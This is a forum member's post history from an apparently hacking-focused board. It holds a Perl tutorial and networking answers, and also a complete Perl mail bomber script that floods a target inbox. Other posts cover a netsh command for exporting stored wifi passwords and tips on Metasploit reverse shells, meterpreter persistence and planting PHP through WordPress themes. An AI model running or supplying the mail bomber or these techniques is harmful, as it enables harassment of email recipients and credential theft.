Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - hcac

Pages: [1] 2
1
Beginner's Corner / Re: Metasploit Across The Internet
« on: October 23, 2015, 07:14:58 pm »
Not sure if I got you right, was the exploitation successful?
In reverse tcp payload, you give the victim side a RHOST and RPORT, and generate the payload.
When you're going to open a port for listening with msf on your machine (host), you DON'T GIVE IT A RHOST/RPORT! You just give it a LPORT and LHOST.
*Caution: Second time (when you want to listen and wait for the victim to connect back) you use the multi handler and give the payload name to it.

P.S.: I think you're mistaking reverse tcp with bind tcp..

2
Beginner's Corner / Re: Collect wifi passwords
« on: October 23, 2015, 06:58:11 pm »
Well, you can easily use netsh command. Write something to use netsh :). It can generate an xml file containing wifi profiles.
(I think you could found this easily by googling):
http://www.eightforums.com/tutorials/45540-wireless-network-profile-backup-restore-windows-8-a.html
Code: [Select]
netsh wlan export profile

3
Beginner's Corner / Re: msfvenom Android payload
« on: October 23, 2015, 09:33:07 am »
AFAIK, meterpreter is not going to install it self forever, by default.
There is a post exploit module, I think, called persistence or something, which makes it auto start on startup. However never tested it on Android. (there is autostart things on droid without root permission, too, so it could be possible)

Sent from my GT-I9500 using Tapatalk


4
Beginner's Corner / Re: how to find out absolute website path ?
« on: October 05, 2015, 03:54:19 pm »
It shouldn't be possible, but it is lots of times.
"Full Path Disclosure", it's encountered as a bug.
An example you may seen, is the php errors, if error_reporting is on and there's something wrong..
As it's a bug, most scanners should report it (if they find it :d).
The abs path usually, can reveal so many things or even used in some kind of combination with another vuln like LFI (local file inclusion).

5
One can hardly ever do an xss, but check if you can do one through posts or gallery (differes based on version, mostly you can't upload .html files).
You didn't say anything about themes, do you have any perm? I guess the only way to directly put a php is the theme (-plugins).

6
Scripting Languages / Starting Perl scripting - Perl environment
« on: September 22, 2015, 01:53:11 pm »
In this topic we're going to learn some basic things about Perl and about setting up an environment for Perl scripting.
-Installation on different platforms
-Getting different modules installed + CPAN
-Some hello-world's
-Perldoc

Perl is a high-level, interpreted language for everyday problems/projects. One of the best things about it is first, it's community (to answer you smart questions) and second, CPAN! (in my opinion)
Comprehensive Perl Archive Network, is where people share their made modules. Let's say, it has a module for mostly everything!
Just to say a bit more, Perl is a common lanuage for writting CGI scripts (web), too, however for now, we'll stick to general things.

PART 1 | Installation
Now it's time to install Perl interpreter on your system if you don't already have it. It's by default installed on most platforms like Linux and OS X, but not on Windows. So if you want to get it working, you can install ActiveState Perl, Strawbery or DWIM Perl as said in [http://perl.org/get.html]
Mac OS X has it by default, however if you don't have you can use ActiveState Perl, too.
[http://www.activestate.com/activeperl/downloads]

For Linux users there's also sources available you can compile & install. (by the time I'm writing this post, newest release is 5.22.0 available at http://www.cpan.org/src/5.0/perl-5.22.0.tar.gz)

After you installed, you can test with the command perl -V, example:
Code: [Select]
root@ACPC:~# perl -v

This is perl 5, version 20, subversion 2 (v5.20.2) built for x86_64-linux-gnu-thread-multi
(with 42 registered patches, see perl -V for more detail)

Copyright 1987-2015, Larry Wall

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5 source kit.

Complete documentation for Perl, including FAQ lists, should be found on
this system using "man perl" or "perldoc perl".  If you have access to the
Internet, point your browser at http://www.perl.org/, the Perl Home Page.

PART 2 | Modules
[http://learn.perl.org/modules/]
Quote
What is a Perl module?
Perl modules external link are a set of related functions in a library file. They are specifically designed to be reusable by other modules or programs. There are 108,000 modules ready for you to use on the Comprehensive Perl Archive Network external link
Generally, modules make life easier.  :) Examples are Net::xxx modules like Net::SSH which lets you ssh to a server, or LWP::xxx that let you do easier/better HTTP requests (also WWW::Mechanize makes it even easier by including LWP and adding things to it) and etc etc.

To install modules you can:
  • From source (either copy .pm files or do a "perl Makefile.PL"
  • Use cpan
  • Use ppm (Perl Package Manager by ActiveState Perl on Windows)

Here I'm going to write some simple examples about installing modules, however I recommend you to take a look at [http://www.perlmonks.org/?node_id=128077].

From source
Let's choose a module for example, JSON, we first open up https://metacpan.org/pod/JSON and click on "Download (83.33Kb)" to get the module source.
It would be something like "JSON-2.90.tar.gz", so we should extract it first, then we just enter 4 simple commands (shown below) and it'll be installed if there's no unmet dependencies. (dependencies are modules that are needed by the module we want to get it installed)
We do:
  • perl Makefile.PL
  • make
  • make test
  • make install
**make is part of build-essential package (on Debian based dirstros), to install:
Code: [Select]
# apt-get install build-essential
OR
# yum groupinstall "Development Tools"
**Attention: on Windows you do "nmake" not "make" and you should get it installed (probably Cygwin or something).
Code: [Select]
root@localhost:~# tar xf JSON-2.90.tar.gz
root@localhost:~# #it's now extracted to JSON-2.90 directory
root@localhost:~# cd JSON-2.90
root@localhost:~/JSON-2.90# [b]perl Makefile.PL[/b]
Welcome to JSON (v.2.90)
=============================
--- snip ---
Checking if your kit is complete...
Looks good
Generating a Unix-style Makefile
Writing Makefile for JSON
Writing MYMETA.yml and MYMETA.json
root@localhost:~/JSON-2.90# [b]make[/b]
cp lib/JSON/backportPP/Boolean.pm blib/lib/JSON/backportPP/Boolean.pm
cp lib/JSON/backportPP.pm blib/lib/JSON/backportPP.pm
--- snip ---
root@localhost:~/JSON-2.90# [b]make test[/b]
PERL_DL_NONLAZY=1 /usr/bin/perl "-MExtUtils::Command::MM" "-MTest::Harness" "-e" "undef *Test::Harness::Switches; test_harness(0, 'blib/lib', 'blib/arch')" t/*.t
--- snip ---
root@localhost:~/JSON-2.90# [b]make install[/b]
Manifying blib/man3/JSON::backportPP.3pm
--- snip ---
root@localhost:~/JSON-2.90# #done!

Using CPAN
It's simple, you just enter "cpan MODULE_NAME", replacing MODULE_NAME with name of the module you want to install... .
Code: [Select]
root@localhost:~# cpan JSON
Reading '/root/.cpan/Metadata'
  Database was generated on Mon, 21 Sep 2015 12:29:03 GMT
Running install for module 'JSON'
Fetching with LWP:
http://www.cpan.org/authors/id/M/MA/MAKAMAKA/JSON-2.90.tar.gz
--- snip ---

Using PPM
To use the GUI mode, enter "ppm" in cmd or run, or just run the exe file.
You'd probably see something like this: http://docs.activestate.com/activeperl/5.8/images/ppm_gui.png
See [http://docs.activestate.com/activeperl/5.8/faq/ActivePerl-faq2.html] for more.

PART 3 | Hello world
Code: (perl) [Select]
use strict;
use warnings;
#always, try to use those ^

print "Hi, everyone!\n";
Code: (perl) [Select]
use strict;
use warnings;
use 5.10.0;

say "This is another way, without using \\n!";
Code: (perl) [Select]
use strict;
use warnings;

print "Enter something: ";
chomp(my $a = <STDIN>);
print "Enter another thing: ";
chomp(my $b = <STDIN>);
print "Concatenation! " . $a . " " . $b . "\n";
print "Better: $a $b\n";
Code: (perl) [Select]
use strict;
use warnings;
use LWP::Simple qw (getstore); #Maybe it's not installed on your system

getstore("http://google.com", "google.html");

PART 4 |  Perldoc
perldoc is a command line tool showing the "man" pages for Perl modules, functions, variables and etc.
Code: [Select]
root@ACPC:~# perldoc
Usage: perldoc [-hVriDtumFXlT] [-n nroffer_program]
    [-d output_filename] [-o output_format] [-M FormatterModule]
    [-w formatter_option:option_value] [-L translation_code]
    PageName|ModuleName|ProgramName

Examples:

    perldoc -f PerlFunc
--- snip ---
For a example we want to see how the docs for WWW::Mechanize module,
Code: [Select]
perldoc WWW::Mechanizeor we want to know how "join" function works,
Code: [Select]
perldoc -f join

That's it, we talked about main installation, modules installation, cpan and perldoc, if you have any thing to add, I love to hear about.
---END <3

7
As far as I understand, you don't see any parameters in URL which the website links are set to?
This doesn't mean that the website doesn't get any input, if it's not just some HTML pages.
Those seen in URL are sent through GET method, while those you don't see, are sent through POST method.
(http://www.w3schools.com/tags/ref_httpmethods.asp)
There are various input methods afaik, like cookies you can checkout.

In order to find directories in a website, you can use Google, spiders, directory brute forcers which try different things to see if they exists and there are specific brute forcers for admin pages/directories, just search a bit, you'll find 'em.

8
Scripting Languages / [Perl] mail bomber (Net::SMTPS)
« on: September 20, 2015, 09:51:03 am »
I felt I should submit some code, even if simple. {mail sender using smtp}
Gist: https://gist.github.com/hcac/925dd17e028cb1565655

Edit: kenjoe41 <3

Code: [Select]
#!/usr/bin/perl -w
#a simple mail bomber
use strict;
use warnings;
use Getopt::Long qw(GetOptions); #as kenjoe41 said
use JSON; #JSON support, options from a file
use Term::ReadKey; #for password input safety
use Net::SMTP;
use Net::SMTPS; #ssl support

$| = 1;
my $DEBUG = 1; #change to 1 for verbosity
my %conf;

print "SMTP account password: ";
ReadMode('noecho'); #don't echo
chomp ($conf{password} = <STDIN>);
ReadMode(0); #re-enable echo

if (($ARGV[0] && $ARGV[1]) && $ARGV[0] =~ /file/i && -r $ARGV[1]) {
open FH, $ARGV[1];

my $data = "";
$data .= $_ while (<FH>);

close FH;

my $decoded_hashref = decode_json $data;
%conf = %$decoded_hashref;
}
else {
input_commandline();
}

sub input_commandline {
#inputs => from commandline
my ($server, $port, $user, $from, $to);
GetOptions ("server=s" => \$server,
"port=i" => \$port,
"user=s" => \$user,
"from=s" => \$from,
"to=s" => \$to);
%conf = (server => $server,
port => $port,
user => $user,
from => $from,
to => $to
);

foreach my $key (keys %conf) {
die "Usage:\n./$0 --server <server> --port <port> --user <user> --from <from> --to <to>\nOR\n./$0 file options.json\n"
if (!$conf{$key});
}

print "Subject: ";
chomp ($conf{subject} = <STDIN>);
print "Body: ";
chomp ($conf{body} = <STDIN>);
print "Count: ";
chomp ($conf{count} = <STDIN>);
die "Bad input: count should be numeric!\n" if ($conf{count} =~ /\D/);

print "\nTLS? (default is y) [y/n]: ";
chomp ($conf{ssl_en} = <STDIN>); #if smtps or smtp should be used
}

smtp_send() foreach (1 .. $conf{count});

sub smtp_send { #the subroutine for smtp
my $ssl = 'starttls';   # 'ssl' / 'starttls' / undef
#change ^ if needed

my $mailer;

if ($conf{ssl_en} !~ /n/i) {
$mailer = new Net::SMTPS ( #SMTPS for tls support
$conf{server}, #smtp server to connect goes here, first
doSSL => $ssl,
Port => ($conf{port}) ? $conf{port} : 587, #usually 587
Debug => $DEBUG
) or die "Connection failed\n";
$mailer->auth($conf{user},$conf{password});
}
else {
$mailer = new Net::SMTP ( #SMTPS for tls support
$conf{server}, #smtp server to connect goes here, first
Port => ($conf{port}) ? $conf{port} : 25, #usually 587
User => $conf{user},
Password => $conf{password},
Debug => $DEBUG
) or die "Connection failed\n";
}

$mailer->mail($conf{from}); #From
$mailer->to($conf{to});

$mailer->data;
$mailer->datasend("Subject: " . $conf{subject} . "\r\n\r\n" . $conf{body});
$mailer->dataend(); #this is like a send button

$mailer->quit; #closing connection
}

9
Anonymity and Privacy / Re: unreliable VPS socks proxy ?
« on: September 17, 2015, 10:25:01 pm »
Check on ip-adress.com for example if it doesn't show your real IP and it shows the IP of your VPS, but the same time some websites detect your proxy and show your real IP, then the problem is with ProxyCap.
Not actually a problem, probably it's just giving every website you visit a message (called headers in a HTTP request) containing your real IP. That's what some proxy clients do as usual... .
Also there are other ways, like your Gmail account to prove that you're from Germany, so check that out, too.

10
Hacking and Security / Re: SSH username finder.
« on: September 14, 2015, 09:32:50 am »
Edit: xor, that was awesome, thanks.

[Post cleared!]

11
Beginner's Corner / Re: Can a host have zero open port? Is it possible?
« on: September 11, 2015, 10:38:19 am »
Is it kind of routing? not really. It's a simple thing programs can do when opening a port or connecting to a port.

Edit:
Do you have netcat?
Code: [Select]
nc -l 192.168.0.2 -p 80
This would open the port 80 only on 192.168.0.2 and nothing else.

And on Unix this
Code: [Select]
nc -l -p 80
would open port 80 on all interfaces (any).

12
Beginner's Corner / Re: Can a host have zero open port? Is it possible?
« on: September 09, 2015, 06:32:04 pm »
It can have different interfaces, for example in Linux you have eth0, eth1, wlan0, usb0, ... net interfaces. The machine can "bind" specific IP addresses, e.g.: You have a wireless network router that gives your machine the IP "192.168.0.2" and you have a wired connection with the IP "173.73.77.34".
Then when you want to run a service such as FTP, you can tell it to just bind it to "192.168.0.2" which is your wlan0 (wireless network interfaces). After that your machcine won't open the port on 173.73.77.34 it will open it on 192.168.0.2. Totally seperated.
*When you open a port and bind it to 0.0.0.0, it's applied to all net interfaces.

13
Operating System / Re: Opinion on Kali Linux 2.0?
« on: September 08, 2015, 10:29:36 pm »
Metasploit runs really fast, drivers are really suitable for my computer + my USB WiFi.
Icons are cute, Desktop is easier to use and I had no performance issue.
So generally it got really better for me. (on Kali 1.0.5 I wasn't able to use text/graphical mode because of the drivers issues of ATI)
P.S.: I think 1 didn't have gedit, did it?

14
Beginner's Corner / Re: Can a host have zero open port? Is it possible?
« on: September 08, 2015, 01:30:43 pm »
proxx said "in the same network". You are probably not in the same network as that machine.
Also by NIC meant that machine could have DIFFERENT network interfaces and probably different IPs or even internal or... .
Eventually the answer to your thread's subject ("Can a host have zero open ports?") was given so many times: YES!

15
Reverse Engineering / Re: [?-HELP] Reverse enginering
« on: September 08, 2015, 01:18:18 pm »
Yup, that's the one. That shouldn't look very complicated.
However learning assembly needs some patience. The complicated thing I think is the "Low level programming" and the language its self is simple (means don't give up in the begining).

Pages: [1] 2